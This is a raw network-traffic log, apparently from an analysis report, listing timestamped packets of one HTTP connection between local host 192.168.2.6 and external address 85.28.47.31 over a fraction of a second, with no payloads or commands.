Jul 27, 2024 03:19:10.004759073 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.004775047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.004786015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.004791975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.004812002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.004817009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.004842997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.004865885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.015736103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.015768051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.015789986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.015799999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.015808105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.015825987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.015827894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.015836954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.015845060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.015855074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.015862942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.015866995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.015877962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.015891075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.015901089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.015918016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016055107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016071081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016087055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016102076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016108036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016124964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016149998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016319036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016335964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016344070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016381979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016403913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016418934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016433954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016447067 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016469955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016798973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016822100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016835928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016850948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016860962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016866922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.016875029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.016978979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.022196054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022227049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022243977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022284985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022299051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022313118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022326946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022341967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022351980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.022384882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.022450924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022465944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022474051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022480965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022488117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022501945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022515059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.022526979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022531986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.022542953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022558928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022566080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.022577047 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.022597075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.022614002 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.023127079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.023175001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.023214102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.023257017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034100056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034116030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034140110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034154892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034167051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034183025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034188032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034223080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034255028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034288883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034373045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034375906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034375906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034377098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034377098 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034396887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034413099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034415007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034427881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034434080 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034444094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034451008 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034466982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034485102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034754992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034779072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034811020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034816027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034827948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034830093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.034848928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.034866095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.047646046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.047724009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.047733068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.047776937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.047801018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.047816038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.047831059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.047847986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.047914982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.047914982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.047914982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.047914982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.047914982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.047914982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.049316883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.049333096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.049348116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.049370050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.049376011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.049386978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.049392939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.049408913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.049423933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.049439907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.049474001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.050021887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.050045967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.050060987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.050092936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.050107956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.050122023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.050131083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.050143957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.050167084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.050180912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.050196886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.050225019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.058517933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058537006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058559895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058573961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058592081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058597088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.058621883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.058634996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058659077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.058674097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058689117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058696985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.058712959 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.058728933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.058954000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.058978081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059007883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059027910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059031010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059078932 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059082985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059098005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059113026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059118032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059137106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059150934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059478045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059520006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059561968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059576035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059590101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059602022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059604883 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059617996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059622049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059636116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059667110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059694052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059710979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059726000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059737921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059741974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059755087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059757948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059767962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059776068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.059783936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059801102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.059814930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.060237885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.060287952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.060317039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.060332060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.060347080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.060350895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.060368061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.060380936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.093065977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.093122005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.093131065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.093163967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.093189001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.093203068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.093216896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.093233109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.093240023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.093419075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104367018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104391098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104427099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104440928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104455948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104470015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104504108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104532003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104532003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104532003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104532003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104537964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104554892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104562044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104572058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104574919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104587078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104620934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104623079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104639053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104654074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104657888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104671955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.104672909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104688883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.104702950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.105082989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.105097055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.105127096 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.105156898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.105171919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.105186939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.105194092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.105204105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.105216980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.105226040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.105232000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.105243921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.105248928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.105262995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.105278015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.110668898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110733032 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.110755920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110799074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.110800028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110816956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110835075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.110847950 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.110903025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110918045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110932112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110943079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.110946894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110963106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.110963106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.110986948 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111021996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111027002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111042023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111057043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111059904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111076117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111084938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111099958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111100912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111114979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111118078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111130953 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111133099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111149073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111150026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111165047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111166954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111183882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111202955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111758947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111787081 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.111804962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.111820936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.122899055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.122929096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.122966051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.122982025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123004913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123064995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123116016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123131037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123146057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123167992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123182058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123197079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123210907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123224020 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123230934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123230934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123230934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123230934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123230934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123230934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123230934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123230934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123240948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.123246908 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123286963 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.123318911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.136048079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.136142969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.136147022 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.136183023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.136198997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.136213064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.136229038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.136245012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:10.136310101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.136310101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.136311054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.136311054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.136311054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:10.136311054 CEST	49710	80	192.168.2.6	85.28.47.31
